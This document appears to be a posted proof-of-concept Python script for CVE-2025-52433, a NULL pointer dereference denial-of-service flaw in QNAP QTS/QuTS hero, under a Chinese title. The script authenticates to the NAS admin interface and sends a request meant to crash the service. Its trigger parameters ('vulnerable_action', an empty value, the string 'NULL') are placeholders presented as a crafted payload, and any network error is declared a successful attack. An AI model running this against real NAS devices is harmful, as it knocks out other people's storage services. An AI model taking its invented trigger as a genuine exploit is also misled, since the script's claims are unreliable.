CVE-2025-52433 QNAP QTS/QuTS hero 空指针解引用拒绝服务漏洞

# CVE-2025-52433 PoC - QNAP QTS/QuTS hero NULL Pointer Dereference DoS # Note: This vulnerability requires admin credentials (PR:H) to exploit. # The attacker must first obtain valid administrator account credentials. import requests import sys TARGET_HOST = "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" # Attacker must possess valid admin credentials def exploit_null_deref(): """ Trigger NULL pointer dereference in vulnerable QNAP QTS/QuTS hero component. Sends a crafted request via the management interface that causes the target service to dereference an uninitialized/NULL pointer, resulting in a denial-of-service condition. """ session = requests.Session() # Step 1: Authenticate as administrator (required - PR:H) login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" login_payload = { "user": ADMIN_USER, "pwd": ADMIN_PASS, "serviceKey": "1" } resp = session.post(login_url, data=login_payload, verify=False) if resp.status_code != 200 or "authPassed" not in resp.text: print("[!] Admin authentication failed. Valid admin credentials are required.") sys.exit(1) print("[*] Authenticated as administrator successfully.") # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable component fails to validate a pointer before dereferencing it. # A specially crafted parameter set causes the service to access memory # through a NULL pointer, leading to a segfault and process termination. trigger_url = f"{TARGET_HOST}/cgi-bin/QTS.cgi" trigger_payload = { # Crafted parameters designed to trigger the NULL pointer dereference # in the vulnerable component. Exact parameter names depend on the # affected subsystem; the key is providing values that bypass pointer # initialization checks. "func": "vulnerable_action", "param1": "", # Empty value may bypass initialization "param2": "NULL", # Trigger NULL path "sid": session.cookies.get("NAS_SID", "") } print("[*] Sending crafted request to trigger NULL pointer dereference...") try: resp = session.post(trigger_url, data=trigger_payload, verify=False, timeout=10) print(f"[*] Response status: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Target service appears to have crashed: {e}") print("[+] DoS attack successful - service is no longer responding.") return # Step 3: Verify the service is down try: session.get(f"{TARGET_HOST}/", verify=False, timeout=5) print("[*] Service still responding. The exploit may not have triggered.") except requests.exceptions.RequestException: print("[+] Service is down. DoS confirmed.") if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) exploit_null_deref()